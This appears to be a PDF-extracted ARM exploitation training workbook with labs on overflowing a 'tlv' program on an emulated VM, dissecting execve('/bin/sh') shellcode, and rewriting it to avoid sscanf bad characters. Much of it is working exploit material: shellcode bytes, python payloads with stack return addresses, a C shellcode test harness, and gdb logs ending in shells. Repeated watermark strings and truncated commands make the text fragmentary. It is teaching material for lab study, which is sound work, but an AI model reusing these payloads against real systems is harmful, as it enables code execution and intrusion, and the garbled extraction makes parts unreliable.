0xbefff3f0: 0x27061a92 0xdf013705 0x6e69622f 0x4168732f
0xbefff400: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff410: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff420: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff430: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff440: 0x41414141
0xbefff450: 0x2f6e6962
0x42424242
0x68736162
0x45485300
0x44575000
live
0x2f3d4c4c
0x6f682f3d
If we look close, we can see our shellcode in here. Little endian makes it a little bit tricky to spot because the bytes for
each word are in reverse order. We know the shellcode starts with the bytes "01 30 8f e2". If we put each byte in reverse
order for little endian, we can look for 0xe28f3001. See it?
09b91222e5d2d3d668cf8e52ec5d35ba
shellcode begins, 0xbefff3dc. The length of the shellcode is 35 bytes, so try the following command.
Note
micede1865@wii999_com
When dumping bytes they are displayed in the same order that they are stored in memory. This differs from displaying them as
words which reverses the byte order when they are displayed.
24356915
It looks like all of the shellcode is there. We can change our overwritten lr value from 0x42424242 to 0xbefff3dc. If all
goes well, this should execute our shellcode and give us a shell prompt ($).
Note
We do not need to use a +1, because the first two shellcode instructions are ARM and not THUMB. The breakdown of this shellcode
is done in another lab.
Paul Erwin
Before proceeding, delete all your breakpoints by using the del command in gdb. If you do not, gdb will try to set these
breakpoints in the new process (our /bin/sh shell) and will cause an error.
(gdb) del
Delete all breakpoints? (y or n) y
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) info b
No breakpoints or watchpoints.
In our next run, we will be replacing "BBBB" or "\x42\x42\x42\x42" with the address above that we verified points to our
shellcode, 0xbefff3dc.
Warning
live
After you run the working exploit in gdb, you should see process X is executing new program: /usr/bin/dash . If you see this
and gdb continues to run, hit ctrl+c and then c to continue. This behavior is because the exploit is running in the debugger.
09b91222e5d2d3d668cf8e52ec5d35ba
[+] Processing 0x65 type
[-] Performing memcpy
Value: 0���/�xF0�F�I��q��'7�/bin/
shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
process 826 is executing new program: /usr/bin/dash
^C
Program received signal SIGINT, Interrupt.
0xb6fe12fa in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
$ micede1865@wii999_com
Success!
Even though we use the same input that worked in gdb, the program crashes because the stack alignment is different
when it is executed from the command line.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
To find the address of our shellcode on the stack, we can analyze a core dump. In the mako vm, core dump files get saved
in the /coredumps folder. Anytime one of our lab programs crashes, a core file gets saved in this folder.
We can view core files using gdb (gdb -c ) or in objdump. We will use objdump since it is a quick way to view the full
contents of the core file.
live
Our goal is to find the address of our shellcode on the stack. In gdb, we used the address 0xbefff3dc. The core file that
gets saved in /coredumps is an accurate representation of where our shellcode will be located when we run the program
from the command line vs in a debugger.
09b91222e5d2d3d668cf8e52ec5d35ba
We will first delete the contents of the /coredumps folder so that we don't confuse our core file with a previous crash.
nemo@mako:~/labs/tlv$ rm /coredumps/*
Next, we will crash the program, using the input that worked in gdb.
micede1865@wii999_com
nemo@mako:~/labs/tlv$ ./tlv_static $(python2 -c 'print "\x65\xff" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "\xdc\xf3\xff\xbe"')
[+] Processing 0x65 type
[-] Performing memcpy
Value: 0���/�xF0�F�I��q��'7�/bin/
shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Illegal instruction (core dumped)
24356915
A new core file has been generated in /coredumps. Your file name will vary.
nemo@mako:~/labs/tlv$ ls /coredumps/
core-tlv_static-4-1000-1000-5434-1622032111
Then we will use objdump -s <corefile> to view the core file, looking for the address where our shellcode starts. Look
Paul Erwin
for a bunch of consecutive A's and the shellcode should be nearby. Remember that it starts with 01 30 8f e2.
A lot of output will scroll by. Look for the A's with grep or by scrolling up. If scrolling up, stop at the second instance you
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
find, it should look something like this.
Here we see the start of the shellcode (01 30 8f e2) at 0xbefff41c. The address may vary on your system.
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@mako:~/labs/tlv$ ./tlv_static $(python2 -c 'print "\x65\xff" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "\x1c\xf4\xff\xbe"')
[+] Processing 0x65 type
[-] Performing memcpy
Value: 0���/�xF0�F�I��q��'7�/bin/
shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���
$
Success!
micede1865@wii999_com
Summary
When developing an exploit, you need to ensure that your input will reach the target code area. In this lab we had to format
24356915
our input to match what was expected by the process_tlv function. Since this program allows for code to be executed on
the stack, we supplied a payload to execute a shell. Using the debugger, we determined the location of our shellcode,
giving us an address to redirect to.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Background
Once we gain control of execution, the next step is usually to establish further access. If we deliver custom code, this
usually comes in the form of shellcode. If we are attacking a common target in a test environment, it may be sufficient to
download and throw shellcode from the internet. However, knowing how it works allows us to have confidence in what we
are delivering to a target and allows us to make changes if necessary.
Objectives
micede1865@wii999_com
• Reviewing and understanding the assembly instructions for sample shellcode
24356915
• Viewing and dumping object files to verify and abstract shellcode
Lab Preparation
Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Login to the hammerhead virtual machine using the credentials below.
• User: nemo
• Password: nemo
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
live
• While in the terminator window console, navigate to the ~/qemu/mako folder.
• Use the command sudo start_mako.sh to start the mako virtual machine.
nemo@hammerhead:~$ cd qemu/mako
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.
...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK ] Finished Availability of block devices.
micede1865@wii999_com
Ubuntu 20.04.2 LTS mako ttyAMA0
mako login:
• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.
Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Let's review some sample shellcode. The code snippet below shows a column of memory addresses followed by a
column of bytes that make up the instructions, and finally the assembly instructions that the bytes represent.
These instructions produce shellcode that simply opens a command prompt (/bin/sh). The original file that these
09b91222e5d2d3d668cf8e52ec5d35ba
instructions were derived from can be found on shell-storm.org, a popular site with lots of samples for various
architectures.
http://shell-storm.org/shellcode/files/shellcode-696.php
Since we have already gone over some basic assembly instructions, we have almost everything we need to understand
these instructions. The addresses in the listing are arbitrary, but they help provide a more complete picture of the
micede1865@wii999_com
shellcode's functionality. Often you will not know the address where your shellcode will land without some in-depth
understanding of your target process.
The second column in the output shows the opcodes (bytes) that make up the instructions. These opcodes are not
present in the original assembly file, but are shown here as an example and are a result of translating the assembly
instructions into machine code.
Paul Erwin
One of the first things we notice is that the first 2 instructions are 4 bytes in width. This means they are ARM instructions.
The add r3, pc, #1 instruction gets the value of pc and adds 1 to it.
When writing ARM assembly instructions, pc is translated as the address of the second instruction from the current
instruction. In this example with the add r3, pc #1 instruction, pc holds the value 0x11000008.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Note
This step is important because at first we don't know any absolute addresses, by getting the value of pc, we get an absolute
address that we can add or subtract offsets from. This makes our shellcode "position independent".
live
When the bx r3 instruction executes, this will transition the processor into THUMB mode. Recall that adding +1 to a
destination indicates the destination will be THUMB instructions.
We also see that the instructions change from 4 byte width to 2 byte which indicates they are THUMB instructions.
The adds r0, #12 instruction adds 12 (0xc) to r0. This will result in the value 0x11000018 being stored in r0. This
09b91222e5d2d3d668cf8e52ec5d35ba
address points to our "/bin/sh" string. It may not look like an ascii string, because it is being interpreted as instructions,
but this will be treated as a string during execution.
The nop instruction is not intendend for doing anything useful other than providing alignment.
micede1865@wii999_com
The next instruction str r0, [sp, #4] stores a pointer to "/bin/sh" onto the stack.
The next 2 instructions are used to store a null byte \x00 into r1 and r2. By subtracting a value from itself, we get 0 and
that 0 is stored back into the register.
24356915
Note
This is a clever workaround so that we don't have to include null bytes in our shellcode. For example, the instruction mov r1, #0
would contain a null byte. Null bytes can be problematic since they will terminate a string and could cut our shellcode short,
depending on how it's read in.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The first instruction moves a system call number (11) into r7. This value is used to indicate which system call will be
executed when the system transitions into supervisor mode. The system call number for execve is 11. The svc 1
instruction invokes the transition into supervisor mode.
Note
The system call numbers will vary between architectures. For example, the system call number for execve will be different on 64-bit
ARM platforms.
live
0x11000018 622f str r7, [r5, #32]
0x1100001a 6e69 ldr r1, [r5, #100]
0x1100001c 732f strb r7, [r5, #12]
0x1100001e 0068 lsls r0, r5, #1
Since this is little endian system, the bytes in the opcodes are reversed. We could write them out like this:
09b91222e5d2d3d668cf8e52ec5d35ba
2f 62 69 6e 2f 73 68 00
We can look these bytes up one at a time using man ascii from the command line or do a quick test in python.
nemo@mako:~$ python
Python 2.7.18 (default, Aug 4 2020, 11:16:42)
micede1865@wii999_com
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print "\x2f\x62\x69\x6e\x2f\x73\x68\x00"
/bin/sh
By having r0 point to these bytes, the execve supervisor call will recognize the /bin/sh string as the first parameter. This
will starts up a shell.
Assembling shellcode
24356915
Here we are using the GNU assembler (as) to assemble the .s file and creating an object file. This transforms our typed up
assembly instructions into a binary format that the operating system understands. We've done this before, but gcc took
care of this for us behind the scenes.
We now have a valid object file that Linux can undersand and link with other object files.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Linking shellcode for testing
We can also link our shellcode to test it. We use the -N option to enable writing to the text segment.
nemo@mako:~/labs/shellcode/asm$ ./shellcode-696
$ live
The objdump tool can display our assembly instructions in the object (.o) file. This can be useful for verifying that the
09b91222e5d2d3d668cf8e52ec5d35ba
assembly we wrote in our .s file gets assembled the way we expect it to and to help ensure that we don't have any issues
with our alignment.
micede1865@wii999_com
Disassembly of section .text:
00000000 <_start>:
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc
a: 300c adds r0, #12
c: 46c0 nop ; (mov r8, r8)
e:
10:
12:
9001
1a49
1a92
str r0,
subs
subs
[sp, #4]
r1, r1, r1
r2, r2, r2
24356915
14: 270b movs r7, #11
16: df01 svc 1
18: 622f str r7, [r5, #32]
1a: 6e69 ldr r1, [r5, #100] ; 0x64
1c: 732f strb r7, [r5, #12]
1e: 0068 lsls
Paul Erwin
r0, r5, #1
We use objcopy to extract the assembly instructions we are interested in and save them to a separate file.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Note
The .o file is an ELF binary and we don't need the whole file structure, just the object code that represents the assembly instructions
needed for our shellcode.
live
Try running the following commands to see the differences between the .o (ELF) file and the resulting binary file. One is a
full ELF file and the other is not.
09b91222e5d2d3d668cf8e52ec5d35ba
Getting a hexdump of our shellcode
Next, we want to pull out the bytes that make up our shellcode instructions in a format that can be copied and pasted into
our exploit.
micede1865@wii999_com
To get this ready for python scripts, we will need a \x before every two characters. The xxd command allows us to
dump a hexadecimal representation of a file in various formats. The tr and sed programs are command line tools that help
further refine our output.
24356915
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e
The output above, starting with \x01\x30... can be copied and pasted into python and used as our shellcode.
Note
You can try these commands sequentially using a pipe "|" between them to get a better understanding of how they can be chained
together.
Paul Erwin
• Do a hexdump of the shellcode-696.bin file: xxd -ps shellcode-696.bin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Hexdump for C code
If we are writing shellcode to be plugged into an exploit written in C, we can use the '-i' parameter for xxd to output a char
array that is ready to be copied and pasted into C.
In the ~/labs/shellcode/c folder, there is a C program (execute_shellcode.c) that can be used to test shellcode in the
09b91222e5d2d3d668cf8e52ec5d35ba
virtual machine. If you are executing the shellcode on a different system, you will have to account for and understand
those differences. However, this technique will allow you to test ARM shellcode on your native system.
#include <stdio.h>
#include <string.h>
micede1865@wii999_com
// Replace shellcode for testing
unsigned char shellcode[] = {
void main(void)
{
24356915
// Print the length of the shellcode to the screen
fprintf(stdout, "Length: %d\n", strlen(shellcode));
}
shellcode_func();
Paul Erwin
Note
Do not overwrite the name of the shellcode[] variable, just paste in the bytes that were generated from xxd.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The execute_shellcode.c file can be edited inside of the ssh console using nano or vi.
Note
Since the /home/nemo/labs folder in hammerhead is mapped to the /home/nemo/labs folder in the mako vm, you can edit the /
home/nemo/labs/shellcode/c/execute_shellcode.c file using a graphical text editor in hammerhead.
live
To do this, click on the folder icon in the hammerhead desktop and navigate to labs/shellcode/c. Right click on the
execute_shellcode.c file and click "Open with Text Editor". Make your changes here and then save and exit the file. To avoid any
synchronization issues, it is best practice to exit the file before accessing it again in the mako vm.
09b91222e5d2d3d668cf8e52ec5d35ba
// Replace shellcode for testing
unsigned char shellcode[] = {
0x01, 0x30, 0x8f, 0xe2, 0x13, 0xff, 0x2f, 0xe1, 0x78, 0x46, 0x0c, 0x30,
0xc0, 0x46, 0x01, 0x90, 0x49, 0x1a, 0x92, 0x1a, 0x0b, 0x27, 0x01, 0xdf,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};
{ micede1865@wii999_com
void main(void)
}
shellcode_func();
24356915
When compiling execute_shellcode.c , use the following gcc options.
Length: 31
$
Paul Erwin
nemo@mako:~/labs/shellcode/c$ ./execute_shellcode
(Optional) There are some improvements that can be made to the shellcode we used in this lab. See if you can find them
and get it to work in the execute_shellcode.c program. (hint below)
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The null byte at the very end can be problematic depending on where we insert the shellcode. However, we still need it because it is
being used to terminate the "/bin/sh" string. Try to find a way to put a null byte there using shellcode instructions and without
creating any null bytes in the actual opcodes.
Summary
live
In this lab we analyzed some basic shellcode step-by-step and showed how we can assemble '.s' files using GNU
assembler (as). Using tools like objdump and objcopy, we showed how we can dump or extract the bytes that make up the
shellcode. This is useful for verifying assembly instructions and extracting the bytes needed for our exploit. We also
looked at a basic C code test harness that is useful for troubleshooting shellcode on a local system.
The shellcode-696.s shellcode can be updated to make it more efficient. Try to reduce the number of
09b91222e5d2d3d668cf8e52ec5d35ba
bytes by at least 4. To do this, you will need to modify the shellcode-696.s file, reassemble it, and
extract the necessary bytes. Then, try to execute your modified shellcode in gdb using the verify_pin
exploit from the stack overflow challenge.
Hint:
micede1865@wii999_com
Challenge Answer Key
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Background
Certain bytes can be problematic when the target process parses your exploit. This usually happens because some
functions will cut your input buffer short resulting in broken shellcode. Sometimes there is just no getting around the
problem, but other times we can make adjustments to our shellcode and avoid these types of issues.
Objectives micede1865@wii999_com
• Modifying shellcode to avoid certain bytes (0x0b, 0x0c)
• Assembling custom shellcode and extracting the bytes for use in the exploit
Lab Preparation
24356915
Note
• User: nemo
• Password: nemo
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
• Use the command sudo start_mako.sh to start the mako virtual machine.
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.
...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK ] Finished Availability of block devices.
micede1865@wii999_com
Ubuntu 20.04.2 LTS mako ttyAMA0
mako login:
• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.
Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Let's start by changing into the ~/labs/tlv folder.
nemo@mako:~$ cd labs
nemo@mako:~/labs$ cd tlv
nemo@mako:~/labs/tlv$
We will be attacking the tlv program, targeting case 0x64 in the process_tlv function. This function has an unsafe
implementation of sscanf.
live
nemo@mako:~/labs/tlv$ cat src/tlv.c
...
void process_tlv(unsigned char type, unsigned char len, unsigned char *value) {
09b91222e5d2d3d668cf8e52ec5d35ba
printf("[+] Processing 0x%x type\n", type);
switch (type) {
case 0x66:
printf("[-] Performing strcpy\n");
strcpy(buf, (value+2));
printf("Value: %s\n", buf);
return;
micede1865@wii999_com
case 0x65:
printf("[-] Performing memcpy\n");
memcpy(buf, value+2, len);
buf[len] = '\00';
printf("Value: %s\n", buf);
return;
case 0x64:
printf("[-] Performing sscanf\n");
return;
default:
24356915
sscanf(value, "%c%c%s", &c1, &c2, buf);
This function takes input, parses it based on a format string and copies it into the specified output variables.
Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
For more information on sscanf, run man sscanf from the command line.
live
This means sscanf will take in the value variable as input, and parse it based on the format string "%c%c%s".
• Based on this format string, sscanf will take the first %c, (1 byte char) and copy into c1.
• It then takes the next char and copies it into c2, following the pattern of the format string.
• After this, sscanf reads in the rest of the value variable as a string and copies that into the buf variable.
09b91222e5d2d3d668cf8e52ec5d35ba
unsigned char buf[100];
A problem arises when we try to use the shellcode that we used in the previous exploits. This is because the sscanf
function will process certain ASCII characters in a way that will disrupt parsing the full string into the buf variable.
If you run man ascii from a command shell, you can see a listing of ASCII characters used by C and if you look at the
beginning of the table, you see some of the characters that sscanf will recognize and break up the copy.
Oct micede1865@wii999_com
Dec Hex Char Oct Dec Hex Char
────────────────────────────────────────────────────────────────────────
000 0 00 NUL '\0' (null character) 100 64 40 @
001 1 01 SOH (start of heading) 101 65 41 A
002 2 02 STX (start of text) 102 66 42 B
003 3 03 ETX (end of text) 103 67 43 C
004 4 04 EOT (end of transmission) 104 68 44 D
005
006
007
5
6
7
05
06
07
ENQ (enquiry)
ACK (acknowledge)
BEL '\a' (bell)
24356915 105
106
107
69
70
71
45
46
47
E
F
G
010 8 08 BS '\b' (backspace) 110 72 48 H
011 9 09 HT '\t' (horizontal tab) 111 73 49 I
012 10 0A LF '\n' (new line) 112 74 4A J
013 11 0B VT '\v' (vertical tab) 113 75 4B K
014 12 0C FF '\f' (form feed) 114 76 4C L
015 13 0D CR '\r' (carriage ret) 115 77 4D M
016
017
14
15
0E
0F
SO (shift out)
SI (shift in)
Paul Erwin 116
117
78
79
4E
4F
N
O
...
The sscanf function has more "bad characters" than just the null (0x00) byte that will cut our shellcode short. Unlike the
strcpy function, sscanf will also cut our string short with characters that represent a vertical tab (0x0b) or a form feed
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(0xc).
Note
There may be other bad characters that affect sscanf, but the 0x0b and 0x0c characters are present in shellcode that we have used
previously in class.
Problematic shellcode
live
Shellcode that works fine in a previous lab, will be problematic with sscanf since it contains bad characters. For example,
use objdump to take a look at the shellcode-696.o file in the ~/labs/shellcode/asm/badchars folder.
09b91222e5d2d3d668cf8e52ec5d35ba
...
00000000 <_start>:
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc
a: 300c adds r0, #12
c: 46c0 nop ; (mov r8, r8)
e:
10:
12:
micede1865@wii999_com
9001
1a49
1a92
str r0,
subs
subs
[sp, #4]
r1, r1, r1
r2, r2, r2
14: 270b movs r7, #11
16: df01 svc 1
18: 622f str r7, [r5, #32]
1a: 6e69 ldr r1, [r5, #100] ; 0x64
1c: 732f strb r7, [r5, #12]
1e: 0068 lsls r0, r5, #1
24356915
We see that when we add 12 (0x0c) bytes to r0, we have a 0x0c in that instruction.
Also, when we move 11 into r7, just prior to svc 1 , there is a 0x0b in that instruction.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e
void process_tlv(unsigned char type, unsigned char len, unsigned char *value) {
switch (type) {
case 0x66:
micede1865@wii999_com
default:
return;
If we use the shellcode above to attack case 0x65, it will work since it is a memcpy. Let's verify this in gdb by trying to
24356915
exploit the tlv_dynamic program. Use the following input and notice that we are using \x65 as the first byte.
Note
See the tlv lab for more information regarding how we reach the different cases in this function.
Paul Erwin
run $(python2 -c 'print "\x65\xff" + "A"*104 + "\x18\xf4\xff\xbe" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
In the input above, 0xbefff418 is the address of our shellcode on the stack. Since ASLR is off, this address will be the
same every time the process is ran in gdb. If you run this program outside of gdb, the stack is aligned differently and this
address will need to be adjusted.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Warning
When running the example below, hit ctl-c, and then c to coninue if gdb seems to freeze up.
nemo@mako:~$ cd ~/labs/tlv
nemo@mako:~/labs/tlv$
09b91222e5d2d3d668cf8e52ec5d35ba
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
^C
Program received signal SIGINT, Interrupt.
0xb6fd81dc in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
[+] Processing 0x65 type
[-] Performing memcpy
Value:
micede1865@wii999_com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���
�xF
0�F�I���
'�/bin/sh
process 1550 is executing new program: /usr/bin/dash
^C
Program received signal SIGINT, Interrupt.
24356915
0xb6fe12fa in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
$
We successfully get a shell when attacking case 0x65, since it uses memcpy.
However, we would have to improve this shellcode to take care of that null byte if we cannot place this at the end of the input buffer.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Observe bad character in sscanf
Let's adjust our input so that we reach case 0x64 and test sscanf. This is the code we want to reach.
case 0x64:
printf("[-] Performing sscanf\n");
sscanf(value, "%c%c%s", &c1, &c2, buf);
return; live
The first byte will determine which case we reach, so the first byte in our input has to 0x65. So we will change that from
the shellcode we used above, other than that the input stays the same. Based on the format string, 2 characters will be
read into c1 and c2, but this will not effect the alignment of our overflow.
09b91222e5d2d3d668cf8e52ec5d35ba
Exit out of any previous gdb session and start it up again with tlv_dynamic.
micede1865@wii999_com
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs/tlv/tlv_dynamic $(python2 -c 'print "\x64\xff" + "A"*104 +
"\x18\xf4\xff\xbe" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
^C
Program received signal SIGINT, Interrupt.
0xb6fd81e4 in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
[+] Processing 0x64 type
[-] Performing sscanf
24356915
Program received signal SIGSEGV, Segmentation fault.
0xbeffe7fc in ?? ()
(gdb)
Paul Erwin
Something went wrong. This is due to sscanf, cutting our shellcode short when sscanf reads the bytes into the buf
variable.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Try it.
Without looking ahead, try to think of another way to write our shellcode without using the bad characters. Update the shellcode file,
assemble it, extract the bytes and write a new exploit for tlv that targets the vulnerable sscanf implementation.
Test your new shellcode by attacking the 0x64 case in tlv_dynamic in gdb.
live
As an alternative to the shellcode used in the previous examples, the following shellcode does not contain characters that
will be problematic for sscanf.
_start:
09b91222e5d2d3d668cf8e52ec5d35ba
.code 16
mov r0, pc
add r0, #16 // modified to eliminate using 0xc (#12)
nop // added more bytes due to additional thumb instruction
str r0, [sp, #4]
sub r1, r1, r1
strb r1, [r0, #7]
sub r2, r2, r2
mov r7, #6 // modified to eliminate using 0xb (#11)
svc 1 micede1865@wii999_com
add r7, #5
By making some minor changes in the assembly, we affected the opcodes so that they do not contain the characters 0x0b
24356915
and 0x0c. Before we review the changes, let's take a look at the object code using objdump.
00000000 <_start>:
0: e28f3001 add r3, pc, #1
Paul Erwin
4: e12fff13 bx r3
8: 4678 mov r0, pc
a: 3010 adds r0, #16
c: 46c0 nop ; (mov r8, r8)
e: 9001 str r0, [sp, #4]
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
10:
12:
14:
1a49
71c1
1a92
subs
strb
subs
r1, r1, r1
r1, [r0, #7]
r2, r2, r2
16: 2706 movs r7, #6
18: 3705 adds r7, #5
1a: df01 svc 1
1c: 622f str r7, [r5, #32]
1e: 6e69 ldr r1, [r5, #100] ; 0x64
20: 732f strb r7, [r5, #12]
22: 0068 lsls r0, r5, #1
live
We don't see any 0x0c or 0x0b bytes in the second column. Good, there should be no more bad characters for sscanf to
trip up on.
09b91222e5d2d3d668cf8e52ec5d35ba
Just prior to the svc 1 instruction, we need to get an 11 (0x0b) into r7. Previously, our shellcode looked like this:
It was straighforward, but resulted in a 0x0b in the shellcode which caused sscanf to cut our string short. So we changed
it to the following:
16:
micede1865@wii999_com
2706 movs r7, #6
18: 3705 adds r7, #5
1a: df01 svc 1
Here we add 6+5 to get 11 stored in r7. This adds another THUMB instruction and adds 2 bytes to the length of our
shellcode, however it avoids having the bad character 0x0b in our shellcode.
24356915
Previously, we had a 0x0c byte in this instruction.
a: 3010 adds
Paul Erwin
r0, #16
This instruction adds the distance to "/bin/sh" to the value stored in r0. The distance was 12 (0x0c), however, we added an
extra instruction to eliminate the 0x0b byte by adding 5 and 6 together as we just discussed. That would make the
distance 14. There is also another THUMB instruction that has been added that is between the adds r0, 16 instruction
and "/bin/sh" making the distance 16. That instruction is:
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
12: 71c1 strb r1, [r0, #7]
This instruction stores a null byte at the end of "/bin/sh". At this point in our shellcode r0 points to the "/bin/sh" string and
adding a zero just past that string in our shellcode allows us to inject the shellcode in places other than at the end. This
instruction makes our shellcode more versatile so that it doesn't have to be used at the end of the buffer and does not
depend on a null byte being inserted at the end. This additional 2 bytes, makes the distance 16 and prevents our add
live
instruction from using 0x0c as the offset which gets translated to a byte in the opcode.
09b91222e5d2d3d668cf8e52ec5d35ba
No 0x0c's or 0x0b's. We can eliminate the \x00 at the end, since we will be adding the shellcode at the end again and
when the input is read in, a null byte will be inserted there anyway.
micede1865@wii999_com
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
24356915
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
Paul Erwin
Combine the new shellcode with the 0x64 byte, the shellcode address on the stack, and the rest of our buffer.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Try combining the shellcode above with the python syntax needed for the run command in gdb. You may have to hit ctl-c
and c to continue a couple of times, but if all goes well...
09b91222e5d2d3d668cf8e52ec5d35ba
0xb6fe12b8 in _dl_debug_state () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
$
Success!!! We modified our shellcode to avoid what sscanf considers bad characters and were able to get a shell!
Summary
micede1865@wii999_com
In this lab we looked at some bytes that are considered bad characters and need to be avoided when attacking sscanf. By
making some slight changes to our shellcode, we were able to avoid using these problematic bytes and successfully
execute our shellcode.
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Background
Ghidra is a free reverse engineering tool developed by the NSA. It is open source and has many features applicable to
ARM. For our purposes, being able to analyze and decompile ARM binaries in a graphical is extremely helpful. For more
information go to https://ghidra-sre.org/.
Objectives micede1865@wii999_com
• Creating a new project in ghidra
24356915
• Changing variable names in the disassembly view
Note
This lab is intended as a basic starting point for working with ghidra. There are many, many, many features to explore.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Boot up the hammerhead virtual machine in vmware and login using the credentials below.
• User: nemo
• Password: nemo
There is already a ghidra project that has been created in the hammerhead vm. If you would like to create a new one, pick a new
09b91222e5d2d3d668cf8e52ec5d35ba
project name and follow the instructions below, but if you would like to continue using the existing project skip down to Importing a
File.
The first time you run ghidra, you should see the following window.
micede1865@wii999_com
24356915
Paul Erwin
